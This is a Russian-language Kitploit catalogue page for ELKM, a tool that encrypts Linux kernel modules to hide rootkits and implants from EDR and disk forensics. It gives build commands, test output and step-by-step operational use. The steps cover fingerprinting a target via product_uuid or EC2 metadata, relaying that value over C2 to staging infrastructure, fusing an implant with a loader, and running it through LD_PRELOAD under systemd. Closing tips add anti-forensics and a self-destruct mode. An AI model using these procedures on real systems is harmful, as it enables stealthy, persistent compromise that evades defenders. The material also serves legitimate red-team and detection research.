Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
encrypted-linux-kernel-modules — Зашифрованные модули ядра Linux | Kitploit
Инструменты/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Повышение привилегийИнструменты шифрования/дешифрованияМеханизмы персистентностиОбход IDS/IPSПост-эксплуатацияКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

Зашифрованные модули ядра Linux

Репозиторий
13365 лет назадЕщё не проверено

ELKM: Шифрованные загружаемые модули ядра Linux x86-64

ELKM предоставляет механизм для безопасной транспортировки и загрузки шифрованных загружаемых модулей ядра (LKM). Цель — защитить базирующиеся на ядре руткиты и импланты от обнаружения программным обеспечением Endpoint Detection and Response (EDR), а также нейтрализовать последствия восстановления с помощью инструментов криминалистического анализа дисков.

RHEL/CentOS 7

ELKM был специально написан для RHEL/CentOS 7 x86-64.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

Подготовка окружения сборки

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

Локальное автоматизированное тестирование

Тестовый сценарий выполняет 4 теста:

  • Пароль, полученный через /sys/class/dmi/id/product_uuid
  • Пароль, полученный через http://169.254.169.254/latest/meta-data/instance-id (при работе на EC2)
  • Пароль, полученный через переменные окружения
  • Пароль, полученный через stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

Сборка и создание тестовой нагрузки вручную

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Эксплуатация

Привязка ELKM к конкретной системе

Через product_uuid

На целевой системе:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

Примечание: это должно выполняться автоматизированно, например, с помощью дроппера. Передайте product_uuid в staging-инфраструктуру через C2.

В staging-инфраструктуре:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

На целевой системе загрузите loader из staging-инфраструктуры и выполните его через доверенный исполняемый файл:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Через EC2 instance ID

На целевой системе:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

Примечание: это должно выполняться автоматизированно, например, с помощью дроппера. Передайте instance ID в staging-инфраструктуру через C2.

В staging-инфраструктуре:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

На целевой системе загрузите loader из staging-инфраструктуры и выполните его через доверенный исполняемый файл:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Установка пароля для использования с переменными окружения или интерактивной оболочкой

В staging-инфраструктуре:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

На целевой системе, через переменные окружения:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

Или через stdin:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

Советы

Несколько советов, если вы хотите развернуть ELKM в эксплуатационных условиях:

  • Не компилируйте с 'debug'
  • Измените имена функций
  • Реализуйте больше методов антифорензики
  • Рассмотрите возможность замены OpenSSL на другую криптобиблиотеку
  • Реализуйте режим самоуничтожения при неверных паролях

Мы решили не реализовывать эти функции, чтобы избежать создания отпечатков (fingerprinting).

Скачать инструмент